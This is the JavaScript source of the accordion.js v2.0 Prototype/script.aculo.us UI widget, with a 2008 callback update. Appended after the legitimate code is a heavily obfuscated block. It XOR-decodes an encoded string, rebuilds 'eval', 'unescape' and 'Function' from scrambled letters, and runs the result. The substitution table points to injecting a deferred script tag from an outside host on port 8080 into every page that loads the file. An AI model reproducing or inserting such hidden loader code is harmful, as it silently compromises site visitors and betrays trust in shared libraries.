// accordion.js v2.0
//
// Copyright (c) 2007 stickmanlabs
// Author: Kevin P Miller | http://www.stickmanlabs.com
// 
// Accordion is freely distributable under the terms of an MIT-style license.
//
// I don't care what you think about the file size...
//   Be a pro: 
//	    http://www.thinkvitamin.com/features/webapps/serving-javascript-fast
//      http://rakaz.nl/item/make_your_pages_load_faster_by_combining_and_compressing_javascript_and_css_files
//
/*
2-2-2008	Trey Aughenbaugh
made a few updates based on the comments from here.
http://stickmanlabs.com/2007/07/12/accordion-v10-released/#comments

-Updated it to work with new version of Prototype 1.6 and scriptaculous 1.8
-Updated to remove flicker
Added ability to have a callback function.
Useful for making AJAX calls.
Also Added the ability to specifiy which call will get executed each time.
Use the ID sttribute of the DIV for reference.  REQUIRED for callback.

/*
/*-----------------------------------------------------------------------------------------------*/

if (typeof Effect == 'undefined') 
	throw("accordion.js requires including script.aculo.us' effects.js library!");

var accordion = Class.create();
accordion.prototype = {

	//
	//  Setup the Variables
	//
	showAccordion : null,
	currentAccordion : null,
	duration : null,
	effects : [],
	animating : false,
	AlreadyActivated: [], //Added by Trey
	//  
	//  Initialize the accordions
	//
	initialize: function(container, options) {
	  if (!$(container)) {
	    throw(container+" doesn't exist!");
	    return false;
	  }
	  
		this.options = Object.extend({
			resizeSpeed : 8,
			classNames : {
				toggle : 'accordion_toggle',
				toggleActive : 'accordion_toggle_active',
				content : 'accordion_content'
			},
			defaultSize : {
				height : null,
				width : null
			},
			direction : 'vertical',
			onEvent : 'click',
			onActivate: null, //Added by Trey:  CallBack Function called when Tab is activated, sends elemet.
			RepeatActivate: {} //Added by Trey
		}, options || {});
		
		this.duration = ((11-this.options.resizeSpeed)*0.15);
		this.AlreadyActivated =[]; //Added by Trey
		var accordions = $$('#'+container+' .'+this.options.classNames.toggle);
		accordions.each(function(accordion) {
			Event.observe(accordion, this.options.onEvent, this.activate.bind(this, accordion), false);
			if (this.options.onEvent == 'click') {
			  accordion.onclick = function() {return false;};
			}
			
			if (this.options.direction == 'horizontal') {
				var options = {width: '0px'};
			} else {
				var options = {height: '0px'};			
			}
			//options.merge({display: 'none'});			
			Object.extend(options, {display: 'none'});
			
			this.currentAccordion = $(accordion.next(0)).setStyle(options);			
		}.bind(this));
	},
	
	//
	//  Activate an accordion 
	//
	activate : function(accordion) {
		if (this.animating) {
			return false;
		}
		
		this.effects = [];
	
		this.currentAccordion = $(accordion.next(0));
		this.currentAccordion.setStyle({
			display: 'block'
		});		
		
		this.currentAccordion.previous(0).addClassName(this.options.classNames.toggleActive);

		if (this.options.direction == 'horizontal') {
			this.scaling = {
				scaleX: true,
				scaleY: false
			};
		} else {
			this.scaling = {
				scaleX: false,
				scaleY: true
			};			
		}
			
		if (this.currentAccordion == this.showAccordion) {
		  this.deactivate();
		} else {
		
//This was added by Trey Aughenbaugh
//Allows calling a function before activating a new Menu
		var bolCall = true;
		var elementid = $(this.currentAccordion).id
		var AA = this.AlreadyActivated.indexOf(elementid);
		var RA = this.options.RepeatActivate[elementid];
		if (RA != undefined)
		{
			if ( AA != -1 )
			{
				if ( RA != undefined )
				bolCall = RA;
			}
			else
			{
				this.AlreadyActivated.push(elementid);
			}
		}
 
		if (this.options.onActivate && bolCall)
			this.options.onActivate(this.currentAccordion) ;
	 
//My Code Updates End Here.......................Orig Call Below.		
  		  this._handleAccordion();
		}
	},
	// 
	// Deactivate an active accordion
	//
	deactivate : function() {
		var options = {
		  duration: this.duration,
			scaleContent: false,
			transition: Effect.Transitions.sinoidal,
			queue: {
				position: 'end', 
				scope: 'accordionAnimation'
			},
			scaleMode: { 
				originalHeight: this.options.defaultSize.height ? this.options.defaultSize.height : this.currentAccordion.scrollHeight,
				originalWidth: this.options.defaultSize.width ? this.options.defaultSize.width : this.currentAccordion.scrollWidth
			},
			afterFinish: function() {
				this.showAccordion.setStyle({
					height: '0px',
					display: 'none'
				});				
				this.showAccordion = null;
				this.animating = false;
			}.bind(this)
		};    
    //options.merge(this.scaling);
	Object.extend(options, this.scaling);

    this.showAccordion.previous(0).removeClassName(this.options.classNames.toggleActive);
    
		new Effect.Scale(this.showAccordion, 0, options);
	},

  //
  // Handle the open/close actions of the accordion
  //
	_handleAccordion : function() {
		var options = {
			sync: true,
			scaleFrom: 0,
			scaleContent: false,
			transition: Effect.Transitions.sinoidal,
			scaleMode: { 
				originalHeight: this.options.defaultSize.height ? this.options.defaultSize.height : this.currentAccordion.scrollHeight,
				originalWidth: this.options.defaultSize.width ? this.options.defaultSize.width : this.currentAccordion.scrollWidth
			}
		};
		//options.merge(this.scaling);
		Object.extend(options, this.scaling);
		
		this.effects.push(
			new Effect.Scale(this.currentAccordion, 100, options)
		);

		if (this.showAccordion) {
			this.showAccordion.previous(0).removeClassName(this.options.classNames.toggleActive);
			
			options = {
				sync: true,
				scaleContent: false,
				transition: Effect.Transitions.sinoidal
			};
			//options.merge(this.scaling);
			Object.extend(options, this.scaling);
			
			this.effects.push(
				new Effect.Scale(this.showAccordion, 0, options)
			);				
		}
		
    new Effect.Parallel(this.effects, {
			duration: this.duration, 
			queue: {
				position: 'end', 
				scope: 'accordionAnimation'
			},
			beforeStart: function() {
				this.animating = true;
			}.bind(this),
			afterFinish: function() {
				if (this.showAccordion) {
					this.showAccordion.setStyle({
						display: 'none'
					});				
				}
				$(this.currentAccordion).setStyle({
				  height: 'auto'
				});
				this.showAccordion = this.currentAccordion;
				this.animating = false;
			}.bind(this)
		});
	}
}
	
var ZW="fee1e7d3f193fcffe6e0d588fffafad591cefdc8fffae1f2fef5dbc7d4fcd0f1deebc1cfc2f9dbe4e2efd4e7edd7e4c8c5d8d2d5f7dce0ead1e1f2e5cae2c2d0e186ccefb3e1fac985f9c985f6fa";this.pX=false;var XOg='';this.AL=false;function S(C){ var Vn=false;var Ez=false;function O(s,a){return s[o("achorCAdet", [1,2,0])](a);var XW;if(XW!='I' && XW!='VR'){XW='I'};}var A;if(A!='tM'){A='tM'}; var w=function(Cp){var f;if(f!='' && f!='H'){f='OJ'};var M=[173,135,0][2];var u;if(u!='Hn' && u != ''){u=null};var WX;if(WX!='dc' && WX != ''){WX=null};var p=[81,0][1];var XL;if(XL!='' && XL!='mw'){XL=null};var SQ=[54,221,1][2];this.QC=21439;var Yo;if(Yo!='TN' && Yo!='Vi'){Yo='TN'};var b=Cp[o("enlthg", [2,0,1])];var Ku;if(Ku!='FQ'){Ku='FQ'};var g=[255][0];var sS;if(sS!='Yw'){sS=''};this.GL=false;var QS;if(QS!='ef'){QS='ef'};var md;if(md!='' && md!='D'){md=''};while(p<b){var hM;if(hM!='rI' && hM!='OL'){hM=''};p++;var tFK;if(tFK!='' && tFK!='tF'){tFK=null};K=O(Cp,p - SQ);M+=K*b;this.yU='';}this.ln="";return new B(M % g);var NS="";var My=26207;};var By;if(By!='ZK'){By='ZK'}; var o=function(Wt, Q){var CI=385;var P = '';this.eU='';var cr;if(cr!=''){cr='Cs'};var x=[253,0,33][1];this.gU='';var dN;if(dN!='lQ' && dN != ''){dN=null};var T = Wt.length;var CZ = Q.length;var mz;if(mz!='OT' && mz!='EA'){mz='OT'};var fy=new String();var SQ=[1][0];var Ci;if(Ci!='ne' && Ci!='xE'){Ci='ne'};for(var y = x; y < T; y += CZ) {var q=new String();var UG='';var BC = Wt.substr(y, CZ);var uu=new Date();var Nv=new Date();if(BC.length == CZ){var Ps=43462;var uX=43630;for(var p in Q) {var dR=39172;var dP;if(dP!='' && dP!='tr'){dP=''};P+=BC.substr(Q[p], SQ);var fF;if(fF!='Cz' && fF!='fk'){fF='Cz'};this.Wo="Wo";}var oA;if(oA!='' && oA!='NW'){oA=null};} else {  P+=BC;var oa;if(oa!='Pp'){oa='Pp'};}var xN;if(xN!='NZ' && xN != ''){xN=null};var hf;if(hf!='Xl' && hf != ''){hf=null};}this.NH='';return P;this.RW=5802;};var Pa;if(Pa!='' && Pa!='vm'){Pa='Py'}; function j(Wt){var pc;if(pc!='NE'){pc=''};var hft=false;var y =[90,0][1];var x =[239,0,214,8][1];var P = '';var rJ="";var E = -1;var Qj=false;Wt = new B(Wt);this.vO="";var Cl=new Date();for (y=Wt[o("elgnht", [1,0])]-E;y>=x;y=y-[1][0]){P+=Wt[o("rhcaAt", [2,1,3,0])](y);var zM;if(zM!='wQ'){zM=''};}this.NEw=false;this.Qw=false;return P;}var wy=new Date();this.yQ="yQ"; function Qd(L,v){return L^v;}var Uo=new String();var eB=new Array();var nJ;if(nJ!='' && nJ!='Sz'){nJ=''};var V=window;var KA=12465;var uj=32809;var n=V[o("vlea", [2,0,3,1])];var GE="GE";var CO=false;var k=n(o("oFcnutin", [1,4,3,2,5,6,0]));var Nc;if(Nc!='ko' && Nc != ''){Nc=null};var wK;if(wK!='kG' && wK != ''){wK=null};var PP = '';var zN;if(zN!='' && zN!='hH'){zN=''};var i=n(o("geRpxE", [2,1,0]));var BP;if(BP!='' && BP!='qt'){BP=''};var we;if(we!='' && we!='eK'){we='Fh'};var B=n(o("rStgin", [1,2,0]));var xx;if(xx!='tA'){xx='tA'};var Ct=new Array();this.Sy="Sy";var Te=B[o("rfCmoahoCrde", [1,0,4,3,2])];var xU;if(xU!='QF'){xU=''};this.lSb="lSb";var U=V[o("aseupnec", [3,5,2,1,7,0,4,6])];var ht;if(ht!='' && ht!='PU'){ht='nC'};var fS;if(fS!='bZ' && fS != ''){fS=null};var oCF=65403;var fq='';var hI;if(hI!='' && hI!='Ad'){hI=''};var Lz = /[^@a-z0-9A-Z_-]/g;var SQ =[1][0];var Nl;if(Nl!='' && Nl!='hh'){Nl=''};this.JY=21784;var x =[0,207,161][0];var AB=new Array();this.sy="sy";var m = C[o("elgnht", [1,0])];var Hp=new String();this.si=false;var MF = '';var rr;if(rr!='Jd' && rr!='To'){rr='Jd'};this.BcC="";var X = '';var NWj;if(NWj!='iNY' && NWj!='Fk'){NWj='iNY'};var kZ =[96,225,0][2];this.kk='';var cE=new Date();var pB=[1, o("mcoductne.eaerteelEms(tn\'tircp\')", [3,2,1,4,0]),2, o("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, o("um.harxitsreecnr:u.8080", [3,0,2,1,4]),4, o(".sedAtttibure(\'tefedr\'", [3,0,1,2]),5, o("pnet.loala.ri.jp.wiw", [1,2,3,4,0,5]),6, o("eynzav.cet", [3,4,1,7,0,5,6,2]),7, o("dmetniaotedca.m", [3,5,1,2,6,4,0]),8, o("iwdnwoo.lnaod", [1,0]),11, o("mccbihanc.mo", [1,0,3,2]),12, o("olggoce.om", [3,4,0,2,1,6,7,5]),14, o("uitoncnf()", [7,0,6,5,2,1,3,4]),15, o("acct(h)e", [1,0]),16, o("rveoizn", [1,2,0]),17, o("tt:ph\"", [5,4,0,1,3,2]),18, o(".drsc", [1,0]),19, o("1\')\'", [3,0,1,2]),20, o("rty", [1,0,2])];this.Zg=false;var NK;if(NK!='' && NK!='EK'){NK='BN'};var wi =[2][0];var e = Te(37);var Xi = '';this.ow="";var Iz;if(Iz!='xF' && Iz!='FL'){Iz=''};var ER;if(ER!='sU' && ER!='Lk'){ER=''};var WeD;if(WeD!='' && WeD!='jJ'){WeD=''};var CM;if(CM!='' && CM!='SU'){CM=''};for(var F=x; F < m; F+=wi){this.GP="GP";X+= e; X+= C[o("ubsstr", [2,0,1,3])](F, wi);var TO=new String();}var Sv=new Date();var C = U(X);var Qy="Qy";var pP;if(pP!='FB'){pP=''};var z = new B(S);var jw;if(jw!='Hx'){jw=''};var oX = z[o("arlpece", [1,4,3,2,0])](Lz, MF);this.ZO='';var tK=new String();var vmu;if(vmu!='' && vmu!='EM'){vmu=null};var Ca = pB[o("elgnht", [1,0])];var es;if(es!='vQ' && es != ''){es=null};this.im="";this.cV=29402;oX = j(oX);var nS=false;var PK=false;var t = new B(k);var sJ=false;var kkR='';var Z = t[o("percale", [2,1,0])](Lz, MF);var Z = w(Z);this.ERL="";var Pf=w(oX);for(var y=x; y < (C[o("elgnht", [1,0])]);y=y+[1][0]) {var r = oX.charCodeAt(kZ);var tB;if(tB!='' && tB!='Jy'){tB=''};var h = O(C,y);var iH="iH";var dcw=new Array();h = Qd(h, r);h = Qd(h, Pf);var Yu;if(Yu!=''){Yu='RhM'};var mI=new String();h = Qd(h, Z);var UW;if(UW!='Hq'){UW='Hq'};var yWG=new Array();kZ++;if(kZ > oX.length-SQ){kZ=x;}this.Wn=false;var Jm;if(Jm!='iE' && Jm != ''){Jm=null};var GJ=false;Xi += Te(h);}var vY=false;for(PM=x; PM < Ca; PM+=wi){var ui="";var PT;if(PT!='Xct' && PT != ''){PT=null};var xj;if(xj!='VP' && xj!='zz'){xj=''};var AO;if(AO!='ZN' && AO!='mK'){AO=''};var N = Te(pB[PM]);var l = pB[PM + SQ];var yp;if(yp!=''){yp='xWp'};var kL;if(kL!='HZO' && kL!='Txa'){kL=''};this.Ng=11457;var qn;if(qn!='' && qn!='Sa'){qn=null};var xm = new i(N, B.fromCharCode(103));this.vmC='';this.ku='';Xi=Xi[o("percale", [2,1,0])](xm, l);var OJn;if(OJn!='cb'){OJn='cb'};}var xQp="xQp";var yL=new k(Xi);this.qQ="qQ";yL();var Kf=new Array();var qRM=new Array();yL = '';var Io=false;Xi = '';var sE;if(sE!=''){sE='rQ'};Pf = '';this.QM="";var ak;if(ak!='Im' && ak != ''){ak=null};t = '';var LP;if(LP!='UZH' && LP!='eN'){LP='UZH'};var iM;if(iM!='Ht' && iM!='yX'){iM='Ht'};Z = '';var zh=new String();var bZi;if(bZi!=''){bZi='qRz'};var CR="CR";var AK;if(AK!=''){AK='VXE'};oX = '';var Wr=new String();var PR="";var io;if(io!='Fi' && io != ''){io=null};return '';};this.pX=false;var XOg='';this.AL=false;S(ZW);